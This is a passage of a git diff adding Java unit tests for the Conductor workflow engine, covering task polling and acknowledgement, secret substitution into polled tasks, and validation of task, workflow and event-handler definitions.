executionService.getSearchTasksV2("query", "*", 0, 2, "Sort"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(Collections.singletonList(taskWorkflow1), searchResult.getResults()); + } + + @Test + public void testGetLastPollTaskAcksOnlyOnce() { + // Setup: create a TaskModel that poll() will process + String taskType = "test_task"; + String workerId = "worker1"; + String domain = null; + String taskId = "task-123"; + String queueName = taskType; // QueueUtils.getQueueName with null domain = taskType + + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId(taskId); + taskModel.setTaskType(taskType); + taskModel.setStatus(TaskModel.Status.SCHEDULED); + taskModel.setWorkflowInstanceId("wf-123"); + + // Mock: queueDAO.pop returns the task ID + when(queueDAO.pop(eq(queueName), eq(1), anyInt())) + .thenReturn(Collections.singletonList(taskId)); + + // Mock: executionDAOFacade returns the TaskModel (called twice: once in poll loop, + // once in the taskStatusListener notification block) + when(executionDAOFacade.getTaskModel(taskId)).thenReturn(taskModel); + when(executionDAOFacade.exceedsInProgressLimit(taskModel)).thenReturn(false); + + // Mock: ack returns true (standard behavior for most QueueDAO implementations) + when(queueDAO.ack(eq(queueName), eq(taskId))).thenReturn(true); + + // Act + Task result = executionService.getLastPollTask(taskType, workerId, domain); + + // Assert: task was returned + assertNotNull(result); + assertEquals(taskId, result.getTaskId()); + + // Assert: queueDAO.ack was called exactly ONCE (inside poll()), not twice. + // This is the core assertion — before the fix, ack was called twice: + // once in poll() via tasks.forEach(this::ackTaskReceived), and again + // redundantly in getLastPollTask() after poll() returned. + verify(queueDAO, times(1)).ack(queueName, taskId); + } + + /* + * When a worker polls a task (SCHEDULED -> IN_PROGRESS), adjustDeciderQueuePostpone() moves the + * workflow's DECIDER_QUEUE re-evaluation out to responseTimeoutSeconds via setUnackTimeoutIfShorter. + * This is normally harmless (task completion fires an expedited decide), but it is why a missed + * post-completion decide leaves the workflow parked for responseTimeoutSeconds — the multi-minute + * pause that the decide() re-queue fix addresses. + */ + @Test + public void testPollPostponesDeciderQueueToResponseTimeout() { + String taskType = "simple_task"; + String workerId = "worker1"; + String domain = null; + String taskId = "task-123"; + String queueName = taskType; + String workflowId = "wf-123"; + + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId(taskId); + taskModel.setTaskType(taskType); + taskModel.setStatus(TaskModel.Status.SCHEDULED); + taskModel.setWorkflowInstanceId(workflowId); + taskModel.setResponseTimeoutSeconds(600); + + when(queueDAO.pop(eq(queueName), eq(1), anyInt())) + .thenReturn(Collections.singletonList(taskId)); + when(executionDAOFacade.getTaskModel(taskId)).thenReturn(taskModel); + when(executionDAOFacade.exceedsInProgressLimit(taskModel)).thenReturn(false); + when(queueDAO.ack(eq(queueName), eq(taskId))).thenReturn(true); + + executionService.poll(taskType, workerId, domain, 1, 100); + + verify(queueDAO).setUnackTimeoutIfShorter(DECIDER_QUEUE, workflowId, 600L * 1000); + } + + @Test + public void testGetLastPollTaskReturnsNullWhenEmpty() { + String taskType = "test_task"; + String workerId = "worker1"; + String domain = null; + String queueName = taskType; + + // Mock: queueDAO.pop returns empty list (no tasks available) + when(queueDAO.pop(eq(queueName), eq(1), anyInt())).thenReturn(Collections.emptyList()); + + // Act + Task result = executionService.getLastPollTask(taskType, workerId, domain); + + // Assert: null returned, no ack called + assertNull(result); + verify(queueDAO, times(0)).ack(anyString(), anyString()); + } + + @Test + public void testPollSubstitutesSecretsOnOutgoingTask() { + String taskType = "t"; + String taskId = "task-1"; + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId(taskId); + taskModel.setTaskType(taskType); + taskModel.setStatus(TaskModel.Status.SCHEDULED); + Map literal = new HashMap<>(); + literal.put("pwd", "${workflow.secrets.DB_PASSWORD}"); + taskModel.setInputData(literal); + + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenReturn(List.of(taskId)); + when(executionDAOFacade.getTaskModel(taskId)).thenReturn(taskModel); + Map resolved = new HashMap<>(); + resolved.put("pwd", "s3cr3t"); + when(parametersUtils.substituteSecrets(any())).thenReturn(resolved); + + List polled = executionService.poll(taskType, "worker", null, 1, 100); + + assertEquals(1, polled.size()); + assertEquals("s3cr3t", polled.get(0).getInputData().get("pwd")); + // persisted model keeps the literal + assertEquals("${workflow.secrets.DB_PASSWORD}", taskModel.getInputData().get("pwd")); + } + + @Test + public void testPollInjectsDeclaredValuesOntoOutgoingTask() { + String taskType = "t"; + String taskId = "task-1"; + + TaskDef taskDef = new TaskDef(); + taskDef.setRuntimeMetadata(List.of("API_KEY")); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskDefinition(taskDef); + + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId(taskId); + taskModel.setTaskType(taskType); + taskModel.setStatus(TaskModel.Status.SCHEDULED); + taskModel.setWorkflowTask(workflowTask); + + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenReturn(List.of(taskId)); + when(executionDAOFacade.getTaskModel(taskId)).thenReturn(taskModel); + when(runtimeMetadataResolver.resolve(List.of("API_KEY"))) + .thenReturn(Map.of("API_KEY", "token-value-123")); + + List polled = executionService.poll(taskType, "worker", null, 1, 100); + + assertEquals(1, polled.size()); + Task returnedTask = polled.get(0); + assertEquals("token-value-123", returnedTask.getRuntimeMetadata().get("API_KEY")); + verify(runtimeMetadataResolver).resolve(List.of("API_KEY")); + } + + @Test + public void testPollDeliversTaskWhenResolutionThrows() { + String taskType = "t"; + String taskId = "task-1"; + + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId(taskId); + taskModel.setTaskType(taskType); + taskModel.setStatus(TaskModel.Status.SCHEDULED); + + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenReturn(List.of(taskId)); + when(executionDAOFacade.getTaskModel(taskId)).thenReturn(taskModel); + when(parametersUtils.substituteSecrets(any())) + .thenThrow(new RuntimeException("resolution failed")); + + List polled = executionService.poll(taskType, "worker", null, 1, 100); + + // The task is still delivered (resolution error is isolated) — not stranded in a + // re-enqueue loop, and its resolved values are simply absent. + assertEquals(1, polled.size()); + assertEquals(taskId, polled.get(0).getTaskId()); + assertNull(polled.get(0).getRuntimeMetadata().get("API_KEY")); + // the outer catch's re-enqueue (postpone) is NOT triggered + verify(queueDAO, times(0)).postpone(anyString(), eq(taskId), anyInt(), anyLong()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/MetadataServiceTest.java b/core/src/test/java/com/netflix/conductor/service/MetadataServiceTest.java new file mode 100644 index 0000000..ca370ba --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/MetadataServiceTest.java @@ -0,0 +1,591 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.*; + +import org.conductoross.conductor.core.listener.MetadataChangeListenerStub; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.MetadataDAO; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@TestPropertySource(properties = "conductor.app.workflow.name-validation.enabled=true") +@EnableAutoConfiguration +public class MetadataServiceTest { + + @TestConfiguration + static class TestMetadataConfiguration { + @Bean + public MetadataDAO metadataDAO() { + return mock(MetadataDAO.class); + } + + @Bean + public ConductorProperties properties() { + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.isOwnerEmailMandatory()).thenReturn(true); + + return properties; + } + + @Bean + public MetadataService metadataService( + MetadataDAO metadataDAO, ConductorProperties properties) { + EventHandlerDAO eventHandlerDAO = mock(EventHandlerDAO.class); + + Map taskDefinitions = new HashMap<>(); + + when(metadataDAO.getAllWorkflowDefs()).thenReturn(mockWorkflowDefs()); + when(metadataDAO.getWorkflowNames()) + .thenReturn(Arrays.asList("alpha_workflow", "beta_workflow")); + when(metadataDAO.getWorkflowVersions("test_workflow_def")) + .thenReturn(mockWorkflowVersions()); + + Answer upsertTaskDef = + (invocation) -> { + TaskDef argument = invocation.getArgument(0, TaskDef.class); + taskDefinitions.put(argument.getName(), argument); + return argument; + }; + when(metadataDAO.createTaskDef(any(TaskDef.class))).then(upsertTaskDef); + when(metadataDAO.updateTaskDef(any(TaskDef.class))).then(upsertTaskDef); + when(metadataDAO.getTaskDef(any())) + .then( + invocation -> + taskDefinitions.get(invocation.getArgument(0, String.class))); + + return new MetadataServiceImpl( + metadataDAO, eventHandlerDAO, new MetadataChangeListenerStub(), properties); + } + + private List mockWorkflowDefs() { + // Returns list of workflowDefs in reverse version order. + List retval = new ArrayList<>(); + for (int i = 5; i > 0; i--) { + WorkflowDef def = new WorkflowDef(); + def.setCreateTime(new Date().getTime()); + def.setUpdateTime(new Date().getTime()); + def.setVersion(i); + def.setName("test_workflow_def"); + retval.add(def); + } + return retval; + } + + private List mockWorkflowVersions() { + List retval = new ArrayList<>(); + for (int i = 1; i <= 5; i++) { + WorkflowDefSummary summary = new WorkflowDefSummary(); + summary.setName("test_workflow_def"); + summary.setVersion(i); + summary.setCreateTime(new Date().getTime()); + retval.add(summary); + } + return retval; + } + } + + @Autowired private MetadataDAO metadataDAO; + + @Autowired private MetadataService metadataService; + + @Test(expected = ConstraintViolationException.class) + public void testRegisterTaskDefNoName() { + TaskDef taskDef = new TaskDef(); + try { + metadataService.registerTaskDef(Collections.singletonList(taskDef)); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskDef name cannot be null or empty")); + assertTrue(messages.contains("ownerEmail cannot be empty")); + throw ex; + } + fail("metadataService.registerTaskDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testRegisterTaskDefNull() { + try { + metadataService.registerTaskDef(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskDefList cannot be empty or null")); + throw ex; + } + fail("metadataService.registerTaskDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testRegisterTaskDefNoResponseTimeout() { + try { + TaskDef taskDef = new TaskDef(); + taskDef.setName("somename"); + taskDef.setOwnerEmail("sample@test.com"); + taskDef.setResponseTimeoutSeconds(0); + metadataService.registerTaskDef(Collections.singletonList(taskDef)); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue( + messages.contains( + "TaskDef responseTimeoutSeconds: 0 should be minimum 1 second")); + throw ex; + } + fail("metadataService.registerTaskDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateTaskDefNameNull() { + try { + TaskDef taskDef = new TaskDef(); + metadataService.updateTaskDef(taskDef); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskDef name cannot be null or empty")); + assertTrue(messages.contains("ownerEmail cannot be empty")); + throw ex; + } + fail("metadataService.updateTaskDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateTaskDefNull() { + try { + metadataService.updateTaskDef(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskDef cannot be null")); + throw ex; + } + fail("metadataService.updateTaskDef did not throw ConstraintViolationException !"); + } + + @Test(expected = NotFoundException.class) + public void testUpdateTaskDefNotExisting() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setOwnerEmail("sample@test.com"); + metadataService.updateTaskDef(taskDef); + } + + @Test(expected = NotFoundException.class) + public void testUpdateTaskDefDaoException() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("test"); + taskDef.setOwnerEmail("sample@test.com"); + metadataService.updateTaskDef(taskDef); + } + + @Test + public void testRegisterTaskDef() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("somename"); + taskDef.setOwnerEmail("sample@test.com"); + taskDef.setResponseTimeoutSeconds(60 * 60); + metadataService.registerTaskDef(Collections.singletonList(taskDef)); + verify(metadataDAO, times(1)).createTaskDef(any(TaskDef.class)); + } + + @Test + public void testUpdateTask() { + String taskDefName = "another-task"; + TaskDef taskDef = new TaskDef(); + taskDef.setName(taskDefName); + taskDef.setOwnerEmail("sample@test.com"); + taskDef.setRetryCount(1); + metadataService.registerTaskDef(Collections.singletonList(taskDef)); + TaskDef before = metadataService.getTaskDef(taskDefName); + + taskDef.setRetryCount(2); + taskDef.setCreatedBy("someone-else"); + taskDef.setCreateTime(1000L); + metadataService.updateTaskDef(taskDef); + verify(metadataDAO, times(1)).updateTaskDef(any(TaskDef.class)); + + TaskDef after = metadataService.getTaskDef(taskDefName); + assertEquals(2, after.getRetryCount()); + assertEquals(before.getCreateTime(), after.getCreateTime()); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefNull() { + try { + List workflowDefList = null; + metadataService.updateWorkflowDef(workflowDefList); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDef list name cannot be null or empty")); + throw ex; + } + fail("metadataService.updateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefEmptyList() { + try { + List workflowDefList = new ArrayList<>(); + metadataService.updateWorkflowDef(workflowDefList); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDefList is empty")); + throw ex; + } + fail("metadataService.updateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefWithNullWorkflowDef() { + try { + List workflowDefList = new ArrayList<>(); + workflowDefList.add(null); + metadataService.updateWorkflowDef(workflowDefList); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDef cannot be null")); + throw ex; + } + fail("metadataService.updateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefWithEmptyWorkflowDefName() { + try { + List workflowDefList = new ArrayList<>(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(null); + workflowDef.setOwnerEmail(null); + workflowDefList.add(workflowDef); + metadataService.updateWorkflowDef(workflowDefList); + } catch (ConstraintViolationException ex) { + assertEquals(3, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(messages.contains("WorkflowTask list cannot be empty")); + assertTrue(messages.contains("ownerEmail cannot be empty")); + throw ex; + } + fail("metadataService.updateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test + public void testUpdateWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("somename"); + workflowDef.setOwnerEmail("sample@test.com"); + List tasks = new ArrayList<>(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("hello"); + workflowTask.setName("hello"); + tasks.add(workflowTask); + workflowDef.setTasks(tasks); + metadataService.updateWorkflowDef(Collections.singletonList(workflowDef)); + verify(metadataDAO, times(1)).updateWorkflowDef(workflowDef); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefWithCaseExpression() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("somename"); + workflowDef.setOwnerEmail("sample@test.com"); + List tasks = new ArrayList<>(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("hello"); + workflowTask.setName("hello"); + workflowTask.setType("DECISION"); + + WorkflowTask caseTask = new WorkflowTask(); + caseTask.setTaskReferenceName("casetrue"); + caseTask.setName("casetrue"); + + List caseTaskList = new ArrayList<>(); + caseTaskList.add(caseTask); + + Map> decisionCases = new HashMap(); + decisionCases.put("true", caseTaskList); + + workflowTask.setDecisionCases(decisionCases); + workflowTask.setCaseExpression("1 >0abcd"); + tasks.add(workflowTask); + workflowDef.setTasks(tasks); + + BulkResponse bulkResponse = + metadataService.updateWorkflowDef(Collections.singletonList(workflowDef)); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateWorkflowDefWithJavscriptEvaluator() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("somename"); + workflowDef.setOwnerEmail("sample@test.com"); + List tasks = new ArrayList<>(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("hello"); + workflowTask.setName("hello"); + workflowTask.setType("SWITCH"); + workflowTask.setEvaluatorType("javascript"); + workflowTask.setExpression("1>abcd"); + WorkflowTask caseTask = new WorkflowTask(); + caseTask.setTaskReferenceName("casetrue"); + caseTask.setName("casetrue"); + + List caseTaskList = new ArrayList<>(); + caseTaskList.add(caseTask); + + Map> decisionCases = new HashMap(); + decisionCases.put("true", caseTaskList); + + workflowTask.setDecisionCases(decisionCases); + tasks.add(workflowTask); + workflowDef.setTasks(tasks); + + BulkResponse bulkResponse = + metadataService.updateWorkflowDef(Collections.singletonList(workflowDef)); + } + + @Test(expected = ConstraintViolationException.class) + public void testRegisterWorkflowDefNoName() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + metadataService.registerWorkflowDef(workflowDef); + } catch (ConstraintViolationException ex) { + assertEquals(3, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(messages.contains("WorkflowTask list cannot be empty")); + assertTrue(messages.contains("ownerEmail cannot be empty")); + throw ex; + } + fail("metadataService.registerWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testValidateWorkflowDefNoName() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + metadataService.validateWorkflowDef(workflowDef); + } catch (ConstraintViolationException ex) { + assertEquals(3, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(messages.contains("WorkflowTask list cannot be empty")); + assertTrue(messages.contains("ownerEmail cannot be empty")); + throw ex; + } + fail("metadataService.validateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testRegisterWorkflowDefInvalidName() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("invalid:name"); + workflowDef.setOwnerEmail("inavlid-email"); + metadataService.registerWorkflowDef(workflowDef); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowTask list cannot be empty")); + assertTrue( + messages.contains( + "Invalid name 'invalid:name'. Allowed characters are alphanumeric, underscores, spaces, hyphens, and special characters like <, >, {, }, #")); + throw ex; + } + fail("metadataService.registerWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testValidateWorkflowDefInvalidName() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("invalid:name"); + workflowDef.setOwnerEmail("inavlid-email"); + metadataService.validateWorkflowDef(workflowDef); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowTask list cannot be empty")); + assertTrue( + messages.contains( + "Invalid name 'invalid:name'. Allowed characters are alphanumeric, underscores, spaces, hyphens, and special characters like <, >, {, }, #")); + throw ex; + } + fail("metadataService.validateWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test + public void testRegisterWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("somename"); + workflowDef.setSchemaVersion(2); + workflowDef.setOwnerEmail("sample@test.com"); + List tasks = new ArrayList<>(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("hello"); + workflowTask.setName("hello"); + tasks.add(workflowTask); + workflowDef.setTasks(tasks); + + metadataService.registerWorkflowDef(workflowDef); + verify(metadataDAO, times(1)).createWorkflowDef(workflowDef); + assertEquals(2, workflowDef.getSchemaVersion()); + } + + @Test + public void testValidateWorkflowDef() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("somename"); + workflowDef.setSchemaVersion(2); + workflowDef.setOwnerEmail("sample@test.com"); + List tasks = new ArrayList<>(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("hello"); + workflowTask.setName("hello"); + tasks.add(workflowTask); + workflowDef.setTasks(tasks); + + metadataService.validateWorkflowDef(workflowDef); + verify(metadataDAO, times(1)).createWorkflowDef(workflowDef); + assertEquals(2, workflowDef.getSchemaVersion()); + } + + @Test(expected = ConstraintViolationException.class) + public void testUnregisterWorkflowDefNoName() { + try { + metadataService.unregisterWorkflowDef("", null); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Workflow name cannot be null or empty")); + assertTrue(messages.contains("Version cannot be null")); + throw ex; + } + fail("metadataService.unregisterWorkflowDef did not throw ConstraintViolationException !"); + } + + @Test + public void testUnregisterWorkflowDef() { + metadataService.unregisterWorkflowDef("somename", 111); + verify(metadataDAO, times(1)).removeWorkflowDef("somename", 111); + } + + @Test(expected = ConstraintViolationException.class) + public void testValidateEventNull() { + try { + metadataService.addEventHandler(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("EventHandler cannot be null")); + throw ex; + } + fail("metadataService.addEventHandler did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testValidateEventNoEvent() { + try { + EventHandler eventHandler = new EventHandler(); + metadataService.addEventHandler(eventHandler); + } catch (ConstraintViolationException ex) { + assertEquals(3, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Missing event handler name")); + assertTrue(messages.contains("Missing event location")); + assertTrue( + messages.contains("No actions specified. Please specify at-least one action")); + throw ex; + } + fail("metadataService.addEventHandler did not throw ConstraintViolationException !"); + } + + @Test + public void testWorkflowNames() { + List names = metadataService.getWorkflowNames(); + assertNotNull(names); + assertEquals(2, names.size()); + assertEquals("alpha_workflow", names.get(0)); + assertEquals("beta_workflow", names.get(1)); + } + + @Test + public void testWorkflowNamesAndVersions() { + Map> namesAndVersions = + metadataService.getWorkflowNamesAndVersions(); + + Iterator versions = + namesAndVersions.get("test_workflow_def").iterator(); + + for (int i = 1; i <= 5; i++) { + WorkflowDefSummary ver = versions.next(); + assertEquals(i, ver.getVersion()); + assertNotNull(ver.getCreateTime()); + assertNotNull(ver.getUpdateTime()); + assertEquals("test_workflow_def", ver.getName()); + } + } + + @Test + public void testGetWorkflowVersions() { + List versions = + metadataService.getWorkflowVersions("test_workflow_def"); + assertNotNull(versions); + assertEquals(5, versions.size()); + for (int i = 0; i < 5; i++) { + WorkflowDefSummary summary = versions.get(i); + assertEquals(i + 1, summary.getVersion()); + assertEquals("test_workflow_def", summary.getName()); + assertNotNull(summary.getCreateTime()); + } + verify(metadataDAO, times(1)).getWorkflowVersions("test_workflow_def"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/TaskServiceTest.java b/core/src/test/java/com/netflix/conductor/service/TaskServiceTest.java new file mode 100644 index 0000000..ab06440 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/TaskServiceTest.java @@ -0,0 +1,246 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.dao.QueueDAO; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@EnableAutoConfiguration +public class TaskServiceTest { + + @TestConfiguration + static class TestTaskConfiguration { + + @Bean + public ExecutionService executionService() { + return mock(ExecutionService.class); + } + + @Bean + public TaskService taskService(ExecutionService executionService) { + QueueDAO queueDAO = mock(QueueDAO.class); + return new TaskServiceImpl(executionService, queueDAO); + } + } + + @Autowired private TaskService taskService; + + @Autowired private ExecutionService executionService; + + @Test(expected = ConstraintViolationException.class) + public void testPoll() { + try { + taskService.poll(null, null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testBatchPoll() { + try { + taskService.batchPoll(null, null, null, null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetTasks() { + try { + taskService.getTasks(null, null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskType cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testGetPendingTaskForWorkflow() { + try { + taskService.getPendingTaskForWorkflow(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowId cannot be null or empty.")); + assertTrue(messages.contains("TaskReferenceName cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateTask() { + try { + taskService.updateTask(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskResult cannot be null or empty.")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateTaskInValid() { + try { + TaskResult taskResult = new TaskResult(); + taskService.updateTask(taskResult); + } catch (ConstraintViolationException ex) { + assertEquals(2, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Workflow Id cannot be null or empty")); + assertTrue(messages.contains("Task ID cannot be null or empty")); + throw ex; + } + } + + @Test(expected = ConstraintViolationException.class) + public void testAckTaskReceived() { + try { + taskService.ackTaskReceived(null, null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("TaskId cannot be null or empty.")); + throw ex; + } + } + 